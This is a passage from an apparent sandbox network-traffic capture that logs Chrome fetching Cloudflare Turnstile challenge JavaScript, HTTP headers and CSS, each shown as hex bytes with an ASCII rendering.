bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);funct
2024-04-24 06:21:34 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 75 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 6f 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 66 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 Data Ascii: tion(u){return Object.getOwnPropertyDescriptor(e,u).enumerable})),t.push.apply(t,o)}return t}function wt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):fr(Object(r)).forEach(funct
2024-04-24 06:21:34 UTC	1369	IN	Data Raw: 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 75 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d 5b 53 79 6d 62 6f Data Ascii: &typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Re(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},o,u,s,m;return m={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(m[Symbo
2024-04-24 06:21:34 UTC	1369	IN	Data Raw: 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 4f 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4f 65 3d 33 30 30 30 33 30 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 76 61 72 20 44 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 44 7c 7c 28 44 3d 7b 7d 29 29 3b 76 Data Ascii: me parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ot=300020;var Oe=300030;function N(e,r){return e.indexOf(r)!==-1}var D;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(D\|\|(D={}));v
2024-04-24 06:21:34 UTC	1369	IN	Data Raw: 6e 67 22 26 26 70 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 76 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 Data Ascii: ng"&&pr.test(e)}var vr=/^[a-z0-9_\-=]{0,255}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}function Ze(e){return N(["normal","compact","invisible"],e)}function et(e){return N(["auto","manual","never"],e)}function tt(e){return N(["a
2024-04-24 06:21:34 UTC	1369	IN	Data Raw: 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 65 28 65 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 4e 65 28 29 3f 78 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 78 65 3d 66 75 6e 63 74 69 6f 6e 28 75 2c 73 2c 6d 29 7b 76 61 72 20 62 3d 5b 6e 75 6c 6c 5d 3b 62 2e 70 75 73 68 2e 61 70 70 6c 79 28 62 2c 73 29 3b 76 61 72 20 68 3d 46 75 6e 63 Data Ascii: (typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function xe(e,r,t){return Ne()?xe=Reflect.construct:xe=function(u,s,m){var b=[null];b.push.apply(b,s);var h=Func
2024-04-24 06:21:34 UTC	1369	IN	Data Raw: 6b 65 28 73 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 73 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 73 2e 63 6f 64 65 3d 75 2c 73 7d 72 65 74 75 72 6e 20 74 7d 28 4c 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 59 74 28 74 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 Data Ascii: ke(s),"code",void 0),s.name="TurnstileError",s.code=u,s}return t}(Le(Error));function v(e,r){var t="[Cloudflare Turnstile] ".concat(e,".");throw new Yt(t,r)}function _(e){console.warn("[Cloudflare Turnstile] ".concat(e,"."))}function be(e){return e.starts
2024-04-24 06:21:34 UTC	1369	IN	Data Raw: 2e 63 6f 6e 63 61 74 28 53 29 29 3b 69 66 28 21 55 29 7b 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 7c 7c 28 5f 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 57 69 64 67 65 74 20 22 2e 63 6f 6e 63 61 74 28 53 2c 22 2c 20 63 6f 6e 73 69 64 65 72 20 75 73 69 6e 67 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6d 6f 76 65 28 29 20 74 6f 20 63 6c 65 61 6e 20 75 70 20 61 20 77 69 64 67 65 74 2e 22 29 29 2c 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 3d 21 30 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 28 64 2e 69 73 45 78 65 63 75 74 69 6e 67 7c 7c 21 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 7c 7c 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 26 26 21 64 2e 69 73 53 74 61 Data Ascii: .concat(S));if(!U){d.watchcat.missingWidgetWarning\|\|(_("Cannot find Widget ".concat(S,", consider using turnstile.remove() to clean up a widget.")),d.watchcat.missingWidgetWarning=!0);continue}if((d.isExecuting\|\|!d.isInitialized\|\|d.isInitialized&&!d.isSta
2024-04-24 06:21:34 UTC	1369	IN	Data Raw: 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 73 74 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 72 29 7b 76 61 Data Ascii: eyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}function st(e,r){var t="https://challenges.cloudflare.com";if(r){va
2024-04-24 06:21:34 UTC	1369	IN	Data Raw: 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 33 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3e 72 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 72 29 3a 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 4a 74 28 65 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 69 66 28 21 74 7c 7c 74 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 42 4f 44 59 22 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 76 61 72 20 75 3d 31 2c 73 3d 74 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 73 3b 29 73 2e 74 61 67 4e 61 6d 65 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 26 26 75 2b 2b 2c 73 3d 73 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e Data Ascii: ments.length>1&&arguments[1]!==void 0?arguments[1]:3;return e.length>r?e.substring(0,r):e};function Jt(e){var r=function(t,o){if(!t\|\|t.tagName==="BODY")return o;for(var u=1,s=t.previousElementSibling;s;)s.tagName===t.tagName&&u++,s=s.previousElementSiblin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49750	104.17.2.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:35 UTC	788	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://o5u7g.zleu9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:35 UTC	1105	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 referrer-policy: same-origin cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin document-policy: js-profiling content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2024-04-24 06:21:35 UTC	373	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2024-04-24 06:21:35 UTC	1369	IN	Data Raw: 32 35 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c Data Ascii: 2595<!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scal
2024-04-24 06:21:35 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 72 6f 62 6f 74 6f 2c 20 6f 78 79 67 65 6e 2c 20 75 62 75 6e 74 75 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 Data Ascii: kground-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, blinkmacsystemfont, "Segoe UI", roboto, oxygen, ubuntu, "Helvetica Neue", arial, sans-ser
2024-04-24 06:21:35 UTC	1369	IN	Data Raw: 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 2e 70 31 20 Data Ascii: px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both; stroke-width: 6px; stroke: #f8f8f8; stroke-miterlimit: 10;}#success-icon .p1
2024-04-24 06:21:35 UTC	1369	IN	Data Raw: 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 Data Ascii: lenge-error-text a:active,.theme-dark #challenge-error-text a:focus { color: #949494;}.theme-dark .ctp-checkbox-label .mark { border: 2px solid #dadada; background-color: #222;}.theme-dark .ctp-checkbox-label input:focus ~ .mark, .theme-dark .c
2024-04-24 06:21:35 UTC	1369	IN	Data Raw: 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c 20 2e 74 68 Data Ascii: rder-color: #666; background-color: #222;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-link,.theme-dark #fr-helper-loop-link { color: #bbb;}.theme-dark #fr-helper-link:visited, .th
2024-04-24 06:21:35 UTC	1369	IN	Data Raw: 72 3a 20 23 66 61 66 61 66 61 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 Data Ascii: r: #fafafa;}#challenge-overlay,#challenge-error-text { text-align: center; line-height: 10px; color: #de1303; font-size: 9px;}#challenge-overlay a,#challenge-error-text a { color: #1d1f20;}#challenge-overlay a:visited, #challenge-overla
2024-04-24 06:21:35 UTC	1369	IN	Data Raw: 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 Data Ascii: ~ .mark { border: 2px solid #c44d0e;}.ctp-checkbox-label input:active ~ span.ctp-label { text-decoration: underline;}.ctp-checkbox-label input:focus ~ .mark { border: 2px solid #c44d0e;}.ctp-checkbox-label input:focus ~ span.ctp-label { tex
2024-04-24 06:21:35 UTC	46	IN	Data Raw: 70 61 63 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 0d 0a Data Ascii: pacer { margin-right: 3px; margin-left:
2024-04-24 06:21:35 UTC	1369	IN	Data Raw: 32 37 65 32 0d 0a 33 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 32 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 64 69 73 70 Data Ascii: 